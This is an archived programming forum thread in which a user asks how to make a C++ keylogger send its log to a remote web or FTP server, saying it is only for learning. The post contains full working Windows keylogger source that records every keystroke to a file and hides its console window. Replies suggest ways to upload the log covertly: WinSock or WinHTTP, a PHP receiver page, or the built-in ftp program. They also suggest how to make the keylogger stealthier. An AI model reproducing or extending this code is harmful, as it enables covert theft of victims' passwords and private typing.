Keylogger help

First, I will not use this for anything other than learning cpp. I need my keylogger to log at specific webserver eg. 123.123.123.123/LOG.TXT. I dunno if there is a way to do that.
P.S. I already have a webserver, I just need the cpp code.
Thanks in advance

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
  
#include <iostream> 
#include <windows.h> 
#include <winuser.h> 
using namespace std; 
int Save (int key_stroke, char *file);
void Stealth();

int main() 
{
Stealth(); 
char i;

while (1)
{
for(i = 8; i <= 190; i++)
{
if (GetAsyncKeyState(i) == -32767)
Save (i,"LOG.txt"); 
}

}
system ("PAUSE");
return 0;
}
int Save (int key_stroke, char *file)
{

if ( (key_stroke == 1) || (key_stroke == 2) )
return 0;

FILE *OUTPUT_FILE;
OUTPUT_FILE = fopen(file, "a+");

if (key_stroke == 8)
fprintf(OUTPUT_FILE, "%s", "[BACKSPACE]"); 
else if (key_stroke == 13)
fprintf(OUTPUT_FILE, "%s", "\n"); 
else if (key_stroke == 32)
fprintf(OUTPUT_FILE, "%s", " ");
else if (key_stroke == VK_TAB) 
fprintf(OUTPUT_FILE, "%s", "[TAB]");
else if (key_stroke == VK_SHIFT)
fprintf(OUTPUT_FILE, "%s", "[SHIFT]");
else if (key_stroke == VK_CONTROL)
fprintf(OUTPUT_FILE, "%s", "[CONTROL]");
else if (key_stroke == VK_ESCAPE)
fprintf(OUTPUT_FILE, "%s", "[ESCAPE]");
else if (key_stroke == VK_END)
fprintf(OUTPUT_FILE, "%s", "[END]");
else if (key_stroke == VK_HOME)
fprintf(OUTPUT_FILE, "%s", "[HOME]");
else if (key_stroke == VK_LEFT)
fprintf(OUTPUT_FILE, "%s", "[LEFT]");
else if (key_stroke == VK_UP)
fprintf(OUTPUT_FILE, "%s", "[UP]");
else if (key_stroke == VK_RIGHT)
fprintf(OUTPUT_FILE, "%s", "[RIGHT]");
else if (key_stroke == VK_DOWN)
fprintf(OUTPUT_FILE, "%s", "[DOWN]");
else if (key_stroke == 190 || key_stroke == 110)
fprintf(OUTPUT_FILE, "%s", ".");
else
fprintf(OUTPUT_FILE, "%s", &key_stroke);

fclose (OUTPUT_FILE);
return 0;
}

void Stealth()
{
HWND Stealth;
AllocConsole();
Stealth = FindWindowA("ConsoleWindowClass", NULL);
ShowWindow(Stealth,0);
}
Have you ever tried sending the file to the server?
You'll probably need WinHTTP or some sort of... WinSock, dunno.
And this must be on Windows forum, not here.

Hope this helps.
My FTP server is on and I want my LOG.txt to be saved at ftp://xxx.xxx.xxx.xxx/log.txt, putting that path manually won't work so I was wondering if anyone could help me with the coding. I don't know how to configure it to send the log file to the ftp server, that's the point :D. Thanks.
So you create a page with some sort of PHP and parse the HTTP request sent. Easy as hell.
sh0milaC wrote:
I was wondering if anyone could help me with the coding.


Lol.


Btw your keylogger has at least one fundamental flaw: It will take up a full CPU core, rendering the program ... the anti-stealth.

Honestly, if you're at the GetAsyncKeyState() level just use System(); with windows' built in ftp program.
As @ultifinitus said, there is a system hook for this so you can make it much better.
Topic archived. No new replies allowed.